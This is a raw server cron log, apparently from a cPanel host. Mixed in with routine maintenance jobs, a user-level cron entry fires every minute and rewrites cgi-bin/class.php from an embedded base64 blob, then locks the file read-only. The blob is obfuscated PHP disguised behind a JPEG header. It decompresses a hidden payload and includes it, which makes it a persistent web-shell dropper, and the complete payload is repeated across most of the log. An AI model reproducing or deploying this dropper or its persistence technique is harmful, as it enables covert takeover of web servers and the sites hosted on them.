Sep  6 10:49:01 server CROND[865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:50:01 server CROND[1366]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:50:01 server CROND[1369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:50:01 server CROND[1370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:50:01 server CROND[1377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:50:01 server CROND[1380]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 10:50:01 server CROND[1382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:50:01 server CROND[1381]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:50:01 server CROND[1385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:50:01 server CROND[1383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:51:01 server CROND[2340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:51:01 server CROND[2341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:51:01 server CROND[2342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:52:01 server CROND[2742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:52:01 server CROND[2743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:52:01 server CROND[2744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:53:01 server CROND[3111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:53:01 server CROND[3112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:53:01 server CROND[3113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:54:01 server CROND[3527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:54:01 server CROND[3528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:54:01 server CROND[3529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:55:01 server CROND[3926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:55:01 server CROND[3928]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:55:01 server CROND[3929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:55:01 server CROND[3930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:55:01 server CROND[3932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:55:01 server CROND[3933]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:55:01 server CROND[3931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:56:01 server CROND[4860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:56:01 server CROND[4861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:56:01 server CROND[4862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:57:01 server CROND[5226]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 10:57:01 server CROND[5227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:57:01 server CROND[5228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:57:01 server CROND[5229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:58:01 server CROND[5620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:58:01 server CROND[5621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:58:01 server CROND[5622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:59:01 server CROND[5994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:59:01 server CROND[5995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:59:01 server CROND[5996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:00:02 server CROND[6381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:00:02 server CROND[6383]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:00:02 server CROND[6384]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:00:02 server CROND[6386]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:00:02 server CROND[6387]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 11:00:02 server CROND[6392]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:00:02 server CROND[6389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:00:02 server CROND[6388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
